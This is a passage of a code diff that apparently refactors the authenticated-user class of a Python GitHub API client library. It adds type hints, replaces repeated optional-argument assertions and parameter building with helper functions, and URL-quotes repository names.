:class:`github.Project.Project` """ assert isinstance(name, str), name - assert body is github.GithubObject.NotSet or isinstance(body, str), body + assert is_undefined(body) or isinstance(body, str), body post_parameters = { "name": name, "body": body, @@ -617,556 +558,357 @@ def create_project(self, name, body=github.GithubObject.NotSet): def create_repo( self, - name, - description=github.GithubObject.NotSet, - homepage=github.GithubObject.NotSet, - private=github.GithubObject.NotSet, - has_issues=github.GithubObject.NotSet, - has_wiki=github.GithubObject.NotSet, - has_downloads=github.GithubObject.NotSet, - has_projects=github.GithubObject.NotSet, - auto_init=github.GithubObject.NotSet, - license_template=github.GithubObject.NotSet, - gitignore_template=github.GithubObject.NotSet, - allow_squash_merge=github.GithubObject.NotSet, - allow_merge_commit=github.GithubObject.NotSet, - allow_rebase_merge=github.GithubObject.NotSet, - delete_branch_on_merge=github.GithubObject.NotSet, - ): + name: str, + description: Opt[str] = NotSet, + homepage: Opt[str] = NotSet, + private: Opt[bool] = NotSet, + has_issues: Opt[bool] = NotSet, + has_wiki: Opt[bool] = NotSet, + has_downloads: Opt[bool] = NotSet, + has_projects: Opt[bool] = NotSet, + auto_init: Opt[bool] = NotSet, + license_template: Opt[str] = NotSet, + gitignore_template: Opt[str] = NotSet, + allow_squash_merge: Opt[bool] = NotSet, + allow_merge_commit: Opt[bool] = NotSet, + allow_rebase_merge: Opt[bool] = NotSet, + delete_branch_on_merge: Opt[bool] = NotSet, + ) -> Repository: """ :calls: `POST /user/repos `_ - :param name: string - :param description: string - :param homepage: string - :param private: bool - :param has_issues: bool - :param has_wiki: bool - :param has_downloads: bool - :param has_projects: bool - :param auto_init: bool - :param license_template: string - :param gitignore_template: string - :param allow_squash_merge: bool - :param allow_merge_commit: bool - :param allow_rebase_merge: bool - :param delete_branch_on_merge: bool - :rtype: :class:`github.Repository.Repository` """ assert isinstance(name, str), name - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - assert homepage is github.GithubObject.NotSet or isinstance( - homepage, str - ), homepage - assert private is github.GithubObject.NotSet or isinstance( - private, bool - ), private - assert has_issues is github.GithubObject.NotSet or isinstance( - has_issues, bool - ), has_issues - assert has_wiki is github.GithubObject.NotSet or isinstance( - has_wiki, bool - ), has_wiki - assert has_downloads is github.GithubObject.NotSet or isinstance( - has_downloads, bool - ), has_downloads - assert has_projects is github.GithubObject.NotSet or isinstance( - has_projects, bool - ), has_projects - assert auto_init is github.GithubObject.NotSet or isinstance( - auto_init, bool - ), auto_init - assert license_template is github.GithubObject.NotSet or isinstance( - license_template, str - ), license_template - assert gitignore_template is github.GithubObject.NotSet or isinstance( - gitignore_template, str - ), gitignore_template - assert allow_squash_merge is github.GithubObject.NotSet or isinstance( - allow_squash_merge, bool - ), allow_squash_merge - assert allow_merge_commit is github.GithubObject.NotSet or isinstance( - allow_merge_commit, bool - ), allow_merge_commit - assert allow_rebase_merge is github.GithubObject.NotSet or isinstance( - allow_rebase_merge, bool - ), allow_rebase_merge - assert delete_branch_on_merge is github.GithubObject.NotSet or isinstance( - delete_branch_on_merge, bool - ), delete_branch_on_merge - post_parameters = { - "name": name, - } - if description is not github.GithubObject.NotSet: - post_parameters["description"] = description - if homepage is not github.GithubObject.NotSet: - post_parameters["homepage"] = homepage - if private is not github.GithubObject.NotSet: - post_parameters["private"] = private - if has_issues is not github.GithubObject.NotSet: - post_parameters["has_issues"] = has_issues - if has_wiki is not github.GithubObject.NotSet: - post_parameters["has_wiki"] = has_wiki - if has_downloads is not github.GithubObject.NotSet: - post_parameters["has_downloads"] = has_downloads - if has_projects is not github.GithubObject.NotSet: - post_parameters["has_projects"] = has_projects - if auto_init is not github.GithubObject.NotSet: - post_parameters["auto_init"] = auto_init - if license_template is not github.GithubObject.NotSet: - post_parameters["license_template"] = license_template - if gitignore_template is not github.GithubObject.NotSet: - post_parameters["gitignore_template"] = gitignore_template - if allow_squash_merge is not github.GithubObject.NotSet: - post_parameters["allow_squash_merge"] = allow_squash_merge - if allow_merge_commit is not github.GithubObject.NotSet: - post_parameters["allow_merge_commit"] = allow_merge_commit - if allow_rebase_merge is not github.GithubObject.NotSet: - post_parameters["allow_rebase_merge"] = allow_rebase_merge - if delete_branch_on_merge is not github.GithubObject.NotSet: - post_parameters["delete_branch_on_merge"] = delete_branch_on_merge - headers, data = self._requester.requestJsonAndCheck( - "POST", "/user/repos", input=post_parameters - ) - return github.Repository.Repository( - self._requester, headers, data, completed=True + assert is_optional(description, str), description + assert is_optional(homepage, str), homepage + assert is_optional(private, bool), private + assert is_optional(has_issues, bool), has_issues + assert is_optional(has_wiki, bool), has_wiki + assert is_optional(has_downloads, bool), has_downloads + assert is_optional(has_projects, bool), has_projects + assert is_optional(auto_init, bool), auto_init + assert is_optional(license_template, str), license_template + assert is_optional(gitignore_template, str), gitignore_template + assert is_optional(allow_squash_merge, bool), allow_squash_merge + assert is_optional(allow_merge_commit, bool), allow_merge_commit + assert is_optional(allow_rebase_merge, bool), allow_rebase_merge + assert is_optional(delete_branch_on_merge, bool), delete_branch_on_merge + post_parameters: dict[str, Any] = NotSet.remove_unset_items( + { + "name": name, + "description": description, + "homepage": homepage, + "private": private, + "has_issues": has_issues, + "has_wiki": has_wiki, + "has_downloads": has_downloads, + "has_projects": has_projects, + "auto_init": auto_init, + "license_template": license_template, + "gitignore_template": gitignore_template, + "allow_squash_merge": allow_squash_merge, + "allow_merge_commit": allow_merge_commit, + "allow_rebase_merge": allow_rebase_merge, + "delete_branch_on_merge": delete_branch_on_merge, + } ) + headers, data = self._requester.requestJsonAndCheck("POST", "/user/repos", input=post_parameters) + return github.Repository.Repository(self._requester, headers, data, completed=True) + def edit( self, - name=github.GithubObject.NotSet, - email=github.GithubObject.NotSet, - blog=github.GithubObject.NotSet, - company=github.GithubObject.NotSet, - location=github.GithubObject.NotSet, - hireable=github.GithubObject.NotSet, - bio=github.GithubObject.NotSet, - ): + name: Opt[str] = NotSet, + email: Opt[str] = NotSet, + blog: Opt[str] = NotSet, + company: Opt[str] = NotSet, + location: Opt[str] = NotSet, + hireable: Opt[bool] = NotSet, + bio: Opt[str] = NotSet, + ) -> None: """ :calls: `PATCH /user `_ - :param name: string - :param email: string - :param blog: string - :param company: string - :param location: string - :param hireable: bool - :param bio: string - :rtype: None - """ - assert name is github.GithubObject.NotSet or isinstance(name, str), name - assert email is github.GithubObject.NotSet or isinstance(email, str), email - assert blog is github.GithubObject.NotSet or isinstance(blog, str), blog - assert company is github.GithubObject.NotSet or isinstance( - company, str - ), company - assert location is github.GithubObject.NotSet or isinstance( - location, str - ), location - assert hireable is github.GithubObject.NotSet or isinstance( - hireable, bool - ), hireable - assert bio is github.GithubObject.NotSet or isinstance(bio, str), bio - post_parameters = dict() - if name is not github.GithubObject.NotSet: - post_parameters["name"] = name - if email is not github.GithubObject.NotSet: - post_parameters["email"] = email - if blog is not github.GithubObject.NotSet: - post_parameters["blog"] = blog - if company is not github.GithubObject.NotSet: - post_parameters["company"] = company - if location is not github.GithubObject.NotSet: - post_parameters["location"] = location - if hireable is not github.GithubObject.NotSet: - post_parameters["hireable"] = hireable - if bio is not github.GithubObject.NotSet: - post_parameters["bio"] = bio - headers, data = self._requester.requestJsonAndCheck( - "PATCH", "/user", input=post_parameters + """ + assert is_optional(name, str), name + assert is_optional(email, str), email + assert is_optional(blog, str), blog + assert is_optional(company, str), company + assert is_optional(location, str), location + assert is_optional(hireable, bool), hireable + assert is_optional(bio, str), bio + post_parameters: dict[str, Any] = NotSet.remove_unset_items( + { + "name": name, + "email": email, + "blog": blog, + "company": company, + "location": location, + "hireable": hireable, + "bio": bio, + } ) + + headers, data = self._requester.requestJsonAndCheck("PATCH", "/user", input=post_parameters) self._useAttributes(data) - def get_authorization(self, id): + def get_authorization(self, id: int) -> Authorization: """ :calls: `GET /authorizations/{id} `_ - :param id: integer - :rtype: :class:`github.Authorization.Authorization` """ assert isinstance(id, int), id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"/authorizations/{id}" - ) - return github.Authorization.Authorization( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"/authorizations/{id}") + return github.Authorization.Authorization(self._requester, headers, data, completed=True) - def get_authorizations(self): + def get_authorizations(self) -> PaginatedList[Authorization]: """ :calls: `GET /authorizations `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Authorization.Authorization` """ - return github.PaginatedList.PaginatedList( - github.Authorization.Authorization, self._requester, "/authorizations", None - ) + return PaginatedList(github.Authorization.Authorization, self._requester, "/authorizations", None) - def get_emails(self): + def get_emails(self) -> list[EmailData]: """ :calls: `GET /user/emails `_ - :rtype: list of namedtuples with members email, primary, verified and visibility """ headers, data = self._requester.requestJsonAndCheck("GET", "/user/emails") - itemdata = namedtuple("EmailData", data[0].keys()) - return [itemdata._make(item.values()) for item in data] + return [EmailData(**item) for item in data] - def get_events(self): + def get_events(self) -> PaginatedList[Event]: """ :calls: `GET /events `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Event.Event` """ - return github.PaginatedList.PaginatedList( - github.Event.Event, self._requester, "/events", None - ) + return PaginatedList(github.Event.Event, self._requester, "/events", None) - def get_followers(self): + def get_followers(self) -> PaginatedList[NamedUser]: """ :calls: `GET /user/followers `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` """ - return github.PaginatedList.PaginatedList( - github.NamedUser.NamedUser, self._requester, "/user/followers", None - ) + return PaginatedList(github.NamedUser.NamedUser, self._requester, "/user/followers", None) - def get_following(self): + def get_following(self) -> PaginatedList[NamedUser]: """ :calls: `GET /user/following `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` """ - return github.PaginatedList.PaginatedList( - github.NamedUser.NamedUser, self._requester, "/user/following", None - ) + return PaginatedList(github.NamedUser.NamedUser, self._requester, "/user/following", None) - def get_gists(self, since=github.GithubObject.NotSet): + def get_gists(self, since: Opt[datetime] = NotSet) -> PaginatedList[Gist]: """ :calls: `GET /gists `_ - :param since: datetime.datetime format YYYY-MM-DDTHH:MM:SSZ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Gist.Gist` - """ - assert since is github.GithubObject.NotSet or isinstance( - since, datetime.datetime - ), since - url_parameters = dict() - if since is not github.GithubObject.NotSet: + :param since: datetime format YYYY-MM-DDTHH:MM:SSZ + :rtype: :class:`PaginatedList` of :class:`github.Gist.Gist` + """ + assert is_optional(since, datetime), since + url_parameters: dict[str, Any] = {} + if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") - return github.PaginatedList.PaginatedList( - github.Gist.Gist, self._requester, "/gists", url_parameters - ) + return PaginatedList(github.Gist.Gist, self._requester, "/gists", url_parameters) def get_issues( self, - filter=github.GithubObject.NotSet, - state=github.GithubObject.NotSet, - labels=github.GithubObject.NotSet, - sort=github.GithubObject.NotSet, - direction=github.GithubObject.NotSet, - since=github.GithubObject.NotSet, - ): + filter: Opt[str] = NotSet, + state: Opt[str] = NotSet, + labels: Opt[list[Label]] = NotSet, + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + since: Opt[datetime] = NotSet, + ) -> PaginatedList[Issue]: """ :calls: `GET /issues `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Issue.Issue` - :param filter: string - :param state: string - :param labels: list of :class:`github.Label.Label` - :param sort: string - :param direction: string - :param since: datetime.datetime - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Issue.Issue` - """ - assert filter is github.GithubObject.NotSet or isinstance(filter, str), filter - assert state is github.GithubObject.NotSet or isinstance(state, str), state - assert labels is github.GithubObject.NotSet or all( - isinstance(element, github.Label.Label) for element in labels - ), labels - assert sort is github.GithubObject.NotSet or isinstance(sort, str), sort - assert direction is github.GithubObject.NotSet or isinstance( - direction, str - ), direction - assert since is github.GithubObject.NotSet or isinstance( - since, datetime.datetime - ), since - url_parameters = dict() - if filter is not github.GithubObject.NotSet: + """ + assert is_optional(filter, str), filter + assert is_optional(state, str), state + assert is_optional_list(labels, github.Label.Label), labels + assert is_optional(sort, str), sort + assert is_optional(direction, str), direction + assert is_optional(since, datetime), since + url_parameters: dict[str, Any] = {} + if is_defined(filter): url_parameters["filter"] = filter - if state is not github.GithubObject.NotSet: + if is_defined(state): url_parameters["state"] = state - if labels is not github.GithubObject.NotSet: + if is_defined(labels): url_parameters["labels"] = ",".join(label.name for label in labels) - if sort is not github.GithubObject.NotSet: + if is_defined(sort): url_parameters["sort"] = sort - if direction is not github.GithubObject.NotSet: + if is_defined(direction): url_parameters["direction"] = direction - if since is not github.GithubObject.NotSet: + if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") - return github.PaginatedList.PaginatedList( - github.Issue.Issue, self._requester, "/issues", url_parameters - ) + return PaginatedList(github.Issue.Issue, self._requester, "/issues", url_parameters) def get_user_issues( self, - filter=github.GithubObject.NotSet, - state=github.GithubObject.NotSet, - labels=github.GithubObject.NotSet, - sort=github.GithubObject.NotSet, - direction=github.GithubObject.NotSet, - since=github.GithubObject.NotSet, - ): + filter: Opt[str] = NotSet, + state: Opt[str] = NotSet, + labels: Opt[list[Label]] = NotSet, + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + since: Opt[datetime] = NotSet, + ) -> PaginatedList[Issue]: """ :calls: `GET /user/issues `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Issue.Issue` - :param filter: string - :param state: string - :param labels: list of :class:`github.Label.Label` - :param sort: string - :param direction: string - :param since: datetime.datetime - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Issue.Issue` - """ - assert filter is github.GithubObject.NotSet or isinstance(filter, str), filter - assert state is github.GithubObject.NotSet or isinstance(state, str), state - assert labels is github.GithubObject.NotSet or all( - isinstance(element, github.Label.Label) for element in labels - ), labels - assert sort is github.GithubObject.NotSet or isinstance(sort, str), sort - assert direction is github.GithubObject.NotSet or isinstance( - direction, str - ), direction - assert since is github.GithubObject.NotSet or isinstance( - since, datetime.datetime - ), since - url_parameters = dict() - if filter is not github.GithubObject.NotSet: + """ + assert is_optional(filter, str), filter + assert is_optional(state, str), state + assert is_optional_list(labels, github.Label.Label), labels + assert is_optional(sort, str), sort + assert is_optional(direction, str), direction + assert is_optional(since, datetime), since + url_parameters: dict[str, Any] = {} + if is_defined(filter): url_parameters["filter"] = filter - if state is not github.GithubObject.NotSet: + if is_defined(state): url_parameters["state"] = state - if labels is not github.GithubObject.NotSet: + if is_defined(labels): url_parameters["labels"] = ",".join(label.name for label in labels) - if sort is not github.GithubObject.NotSet: + if is_defined(sort): url_parameters["sort"] = sort - if direction is not github.GithubObject.NotSet: + if is_defined(direction): url_parameters["direction"] = direction - if since is not github.GithubObject.NotSet: + if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") - return github.PaginatedList.PaginatedList( - github.Issue.Issue, self._requester, "/user/issues", url_parameters - ) + return PaginatedList(github.Issue.Issue, self._requester, "/user/issues", url_parameters) - def get_key(self, id): + def get_key(self, id: int) -> UserKey: """ :calls: `GET /user/keys/{id} `_ - :param id: integer - :rtype: :class:`github.UserKey.UserKey` """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"/user/keys/{id}") return github.UserKey.UserKey(self._requester, headers, data, completed=True) - def get_keys(self): + def get_keys(self) -> PaginatedList[UserKey]: """ :calls: `GET /user/keys `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.UserKey.UserKey` """ - return github.PaginatedList.PaginatedList( - github.UserKey.UserKey, self._requester, "/user/keys", None - ) + return PaginatedList(github.UserKey.UserKey, self._requester, "/user/keys", None) - def get_notification(self, id): + def get_notification(self, id: str) -> Notification: """ :calls: `GET /notifications/threads/{id} `_ - :rtype: :class:`github.Notification.Notification` """ assert isinstance(id, str), id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"/notifications/threads/{id}" - ) - return github.Notification.Notification( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"/notifications/threads/{id}") + return github.Notification.Notification(self._requester, headers, data, completed=True) def get_notifications( self, - all=github.GithubObject.NotSet, - participating=github.GithubObject.NotSet, - since=github.GithubObject.NotSet, - before=github.GithubObject.NotSet, - ): + all: Opt[bool] = NotSet, + participating: Opt[bool] = NotSet, + since: Opt[datetime] = NotSet, + before: Opt[datetime] = NotSet, + ) -> PaginatedList[Notification]: """ :calls: `GET /notifications `_ - :param all: bool - :param participating: bool - :param since: datetime.datetime - :param before: datetime.datetime - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Notification.Notification` - """ - - assert all is github.GithubObject.NotSet or isinstance(all, bool), all - assert participating is github.GithubObject.NotSet or isinstance( - participating, bool - ), participating - assert since is github.GithubObject.NotSet or isinstance( - since, datetime.datetime - ), since - assert before is github.GithubObject.NotSet or isinstance( - before, datetime.datetime - ), before - - params = dict() - if all is not github.GithubObject.NotSet: + """ + + assert is_optional(all, bool), all + assert is_optional(participating, bool), participating + assert is_optional(since, datetime), since + assert is_optional(before, datetime), before + + params: dict[str, Any] = {} + if is_defined(all): # convert True, False to true, false for api parameters params["all"] = "true" if all else "false" - if participating is not github.GithubObject.NotSet: + if is_defined(participating): # convert True, False to true, false for api parameters params["participating"] = "true" if participating else "false" - if since is not github.GithubObject.NotSet: + if is_defined(since): params["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") - if before is not github.GithubObject.NotSet: + if is_defined(before): params["before"] = before.strftime("%Y-%m-%dT%H:%M:%SZ") - return github.PaginatedList.PaginatedList( - github.Notification.Notification, self._requester, "/notifications", params - ) + return PaginatedList(github.Notification.Notification, self._requester, "/notifications", params) - def get_organization_events(self, org): + def get_organization_events(self, org: Organization) -> PaginatedList[Event]: """ :calls: `GET /users/{user}/events/orgs/{org} `_ - :param org: :class:`github.Organization.Organization` - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Event.Event` """ assert isinstance(org, github.Organization.Organization), org - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Event.Event, self._requester, f"/users/{self.login}/events/orgs/{org.login}", None, ) - def get_orgs(self): + def get_orgs(self) -> PaginatedList[Organization]: """ :calls: `GET /user/orgs `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Organization.Organization` """ - return github.PaginatedList.PaginatedList( - github.Organization.Organization, self._requester, "/user/orgs", None - ) + return PaginatedList(github.Organization.Organization, self._requester, "/user/orgs", None) - def get_repo(self, name): + def get_repo(self, name: str) -> Repository: """ :calls: `GET /repos/{owner}/{repo} `_ - :param name: string - :rtype: :class:`github.Repository.Repository` """ assert isinstance(name, str), name - headers, data = self._requester.requestJsonAndCheck( - "GET", f"/repos/{self.login}/{name}" - ) - return github.Repository.Repository( - self._requester, headers, data, completed=True - ) + name = urllib.parse.quote(name) + headers, data = self._requester.requestJsonAndCheck("GET", f"/repos/{self.login}/{name}") + return github.Repository.Repository(self._requester, headers, data, completed=True) def get_repos( self, - visibility=github.GithubObject.NotSet, - affiliation=github.GithubObject.NotSet, - type=github.GithubObject.NotSet, - sort=github.GithubObject.NotSet, - direction=github.GithubObject.NotSet, - ): - """ - :calls: `GET /user/repos ` - :param visibility: string - :param affiliation: string - :param type: string - :param sort: string - :param direction: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` - """ - assert visibility is github.GithubObject.NotSet or isinstance( - visibility, str - ), visibility - assert affiliation is github.GithubObject.NotSet or isinstance( - affiliation, str - ), affiliation - assert type is github.GithubObject.NotSet or isinstance(type, str), type - assert sort is github.GithubObject.NotSet or isinstance(sort, str), sort - assert direction is github.GithubObject.NotSet or isinstance( - direction, str - ), direction - url_parameters = dict() - if visibility is not github.GithubObject.NotSet: - url_parameters["visibility"] = visibility - if affiliation is not github.GithubObject.NotSet: - url_parameters["affiliation"] = affiliation - if type is not github.GithubObject.NotSet: - url_parameters["type"] = type - if sort is not github.GithubObject.NotSet: - url_parameters["sort"] = sort - if direction is not github.GithubObject.NotSet: - url_parameters["direction"] = direction - return github.PaginatedList.PaginatedList( - github.Repository.Repository, self._requester, "/user/repos", url_parameters + visibility: Opt[str] = NotSet, + affiliation: Opt[str] = NotSet, + type: Opt[str] = NotSet, + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + ) -> PaginatedList[Repository]: + """ + :calls: `GET /user/repos `_ + """ + assert is_optional(visibility, str), visibility + assert is_optional(affiliation, str), affiliation + assert is_optional(type, str), type + assert is_optional(sort, str), sort + assert is_optional(direction, str), direction + url_parameters = NotSet.remove_unset_items( + { + "visibility": visibility, + "affiliation": affiliation, + "type": type, + "sort": sort, + "direction": direction, + } ) + return PaginatedList(github.Repository.Repository, self._requester, "/user/repos", url_parameters) - def get_starred(self): + def get_starred(self) -> PaginatedList[Repository]: """ :calls: `GET /user/starred `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` """ - return github.PaginatedList.PaginatedList( - github.Repository.Repository, self._requester, "/user/starred", None - ) + return PaginatedList(github.Repository.Repository, self._requester, "/user/starred", None) - def get_starred_gists(self): + def get_starred_gists(self) -> PaginatedList[Gist]: """ :calls: `GET /gists/starred `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Gist.Gist` """ - return github.PaginatedList.PaginatedList( - github.Gist.Gist, self._requester, "/gists/starred", None - ) + return PaginatedList(github.Gist.Gist, self._requester, "/gists/starred", None) - def get_subscriptions(self): + def get_subscriptions(self) -> PaginatedList[Repository]: """ :calls: `GET /user/subscriptions `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` """ - return github.PaginatedList.PaginatedList( - github.Repository.Repository, self._requester, "/user/subscriptions", None - ) + return PaginatedList(github.Repository.Repository, self._requester, "/user/subscriptions", None) - def get_teams(self): + def get_teams(self) -> PaginatedList[Team]: """ :calls: `GET /user/teams `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Team.Team` """ - return github.PaginatedList.PaginatedList( - github.Team.Team, self._requester, "/user/teams", None - ) + return PaginatedList(github.Team.Team, self._requester, "/user/teams", None) - def get_watched(self): + def get_watched(self) -> PaginatedList[Repository]: """ :calls: `GET /user/subscriptions `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` """ - return github.PaginatedList.PaginatedList( - github.Repository.Repository, self._requester, "/user/subscriptions", None - ) + return PaginatedList(github.Repository.Repository, self._requester, "/user/subscriptions", None) - def get_installations(self): + def get_installations(self) -> PaginatedList[Installation]: """ :calls: `GET /user/installations `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Installation.Installation` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Installation.Installation, self._requester, "/user/installations", @@ -1175,131 +917,90 @@ def get_installations(self): list_item="installations", ) - def has_in_following(self, following): + def has_in_following(self, following: NamedUser) -> bool: """ :calls: `GET /user/following/{user} `_ - :param following: :class:`github.NamedUser.NamedUser` - :rtype: bool """ assert isinstance(following, github.NamedUser.NamedUser), following - status, headers, data = self._requester.requestJson( - "GET", f"/user/following/{following._identity}" - ) + status, headers, data = self._requester.requestJson("GET", f"/user/following/{following._identity}") return status == 204 - def has_in_starred(self, starred): + def has_in_starred(self, starred: Repository) -> bool: """ :calls: `GET /user/starred/{owner}/{repo} `_ - :param starred: :class:`github.Repository.Repository` - :rtype: bool """ assert isinstance(starred, github.Repository.Repository), starred - status, headers, data = self._requester.requestJson( - "GET", f"/user/starred/{starred._identity}" - ) + status, headers, data = self._requester.requestJson("GET", f"/user/starred/{starred._identity}") return status == 204 - def has_in_subscriptions(self, subscription): + def has_in_subscriptions(self, subscription: Repository) -> bool: """ :calls: `GET /user/subscriptions/{owner}/{repo} `_ - :param subscription: :class:`github.Repository.Repository` - :rtype: bool """ assert isinstance(subscription, github.Repository.Repository), subscription - status, headers, data = self._requester.requestJson( - "GET", f"/user/subscriptions/{subscription._identity}" - ) + status, headers, data = self._requester.requestJson("GET", f"/user/subscriptions/{subscription._identity}") return status == 204 - def has_in_watched(self, watched): + def has_in_watched(self, watched: Repository) -> bool: """ :calls: `GET /repos/{owner}/{repo}/subscription `_ - :param watched: :class:`github.Repository.Repository` - :rtype: bool """ assert isinstance(watched, github.Repository.Repository), watched - status, headers, data = self._requester.requestJson( - "GET", f"/repos/{watched._identity}/subscription" - ) + status, headers, data = self._requester.requestJson("GET", f"/repos/{watched._identity}/subscription") return status == 200 - def mark_notifications_as_read(self, last_read_at=datetime.datetime.utcnow()): + def mark_notifications_as_read(self, last_read_at: datetime | None = None) -> None: """ :calls: `PUT /notifications `_ - :param last_read_at: datetime """ - assert isinstance(last_read_at, datetime.datetime) + if last_read_at is None: + last_read_at = datetime.now(timezone.utc) + assert isinstance(last_read_at, datetime) put_parameters = {"last_read_at": last_read_at.strftime("%Y-%m-%dT%H:%M:%SZ")} - headers, data = self._requester.requestJsonAndCheck( - "PUT", "/notifications", input=put_parameters - ) + headers, data = self._requester.requestJsonAndCheck("PUT", "/notifications", input=put_parameters) - def remove_from_emails(self, *emails): + def remove_from_emails(self, *emails: str) -> None: """ :calls: `DELETE /user/emails `_ - :param email: string - :rtype: None """ assert all(isinstance(element, str) for element in emails), emails post_parameters = {"emails": emails} - headers, data = self._requester.requestJsonAndCheck( - "DELETE", "/user/emails", input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", "/user/emails", input=post_parameters) - def remove_from_following(self, following): + def remove_from_following(self, following: NamedUser) -> None: """ :calls: `DELETE /user/following/{user} `_ - :param following: :class:`github.NamedUser.NamedUser` - :rtype: None """ assert isinstance(following, github.NamedUser.NamedUser), following - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"/user/following/{following._identity}" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"/user/following/{following._identity}") - def remove_from_starred(self, starred): + def remove_from_starred(self, starred: Repository) -> None: """ :calls: `DELETE /user/starred/{owner}/{repo} `_ - :param starred: :class:`github.Repository.Repository` - :rtype: None """ assert isinstance(starred, github.Repository.Repository), starred - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"/user/starred/{starred._identity}" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"/user/starred/{starred._identity}") - def remove_from_subscriptions(self, subscription): + def remove_from_subscriptions(self, subscription: Repository) -> None: """ :calls: `DELETE /user/subscriptions/{owner}/{repo} `_ - :param subscription: :class:`github.Repository.Repository` - :rtype: None """ assert isinstance(subscription, github.Repository.Repository), subscription - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"/user/subscriptions/{subscription._identity}" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"/user/subscriptions/{subscription._identity}") - def remove_from_watched(self, watched): + def remove_from_watched(self, watched: Repository) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/subscription `_ - :param watched: :class:`github.Repository.Repository` - :rtype: None """ assert isinstance(watched, github.Repository.Repository), watched - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"/repos/{watched._identity}/subscription" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"/repos/{watched._identity}/subscription") - def accept_invitation(self, invitation): + def accept_invitation(self, invitation: Invitation | int) -> None: """ - :calls: `PATCH /user/repository_invitations/{invitation_id} ` - :param invitation: :class:`github.Invitation.Invitation` or int - :rtype: None + :calls: `PATCH /user/repository_invitations/{invitation_id} `_ """ - assert isinstance(invitation, github.Invitation.Invitation) or isinstance( - invitation, int - ) + assert isinstance(invitation, github.Invitation.Invitation) or isinstance(invitation, int) if isinstance(invitation, github.Invitation.Invitation): invitation = invitation.id @@ -1308,12 +1009,11 @@ def accept_invitation(self, invitation): "PATCH", f"/user/repository_invitations/{invitation}", input={} ) - def get_invitations(self): + def get_invitations(self) -> PaginatedList[Invitation]: """ :calls: `GET /user/repository_invitations `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Invitation.Invitation` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Invitation.Invitation, self._requester, "/user/repository_invitations", @@ -1322,46 +1022,38 @@ def get_invitations(self): def create_migration( self, - repos, - lock_repositories=github.GithubObject.NotSet, - exclude_attachments=github.GithubObject.NotSet, - ): + repos: list[Repository] | tuple[Repository], + lock_repositories: Opt[bool] = NotSet, + exclude_attachments: Opt[bool] = NotSet, + ) -> Migration: """ :calls: `POST /user/migrations `_ - :param repos: list or tuple of str - :param lock_repositories: bool - :param exclude_attachments: bool - :rtype: :class:`github.Migration.Migration` """ assert isinstance(repos, (list, tuple)), repos assert all(isinstance(repo, str) for repo in repos), repos - assert lock_repositories is github.GithubObject.NotSet or isinstance( - lock_repositories, bool - ), lock_repositories - assert exclude_attachments is github.GithubObject.NotSet or isinstance( - exclude_attachments, bool - ), exclude_attachments - post_parameters = {"repositories": repos} - if lock_repositories is not github.GithubObject.NotSet: - post_parameters["lock_repositories"] = lock_repositories - if exclude_attachments is not github.GithubObject.NotSet: - post_parameters["exclude_attachments"] = exclude_attachments + assert is_optional(lock_repositories, bool), lock_repositories + assert is_optional(exclude_attachments, bool), exclude_attachments + post_parameters: dict[str, Any] = NotSet.remove_unset_items( + { + "repositories": repos, + "lock_repositories": lock_repositories, + "exclude_attachments": exclude_attachments, + } + ) + headers, data = self._requester.requestJsonAndCheck( "POST", "/user/migrations", input=post_parameters, headers={"Accept": Consts.mediaTypeMigrationPreview}, ) - return github.Migration.Migration( - self._requester, headers, data, completed=True - ) + return github.Migration.Migration(self._requester, headers, data, completed=True) - def get_migrations(self): + def get_migrations(self) -> PaginatedList[Migration]: """ :calls: `GET /user/migrations `_ - :rtype: 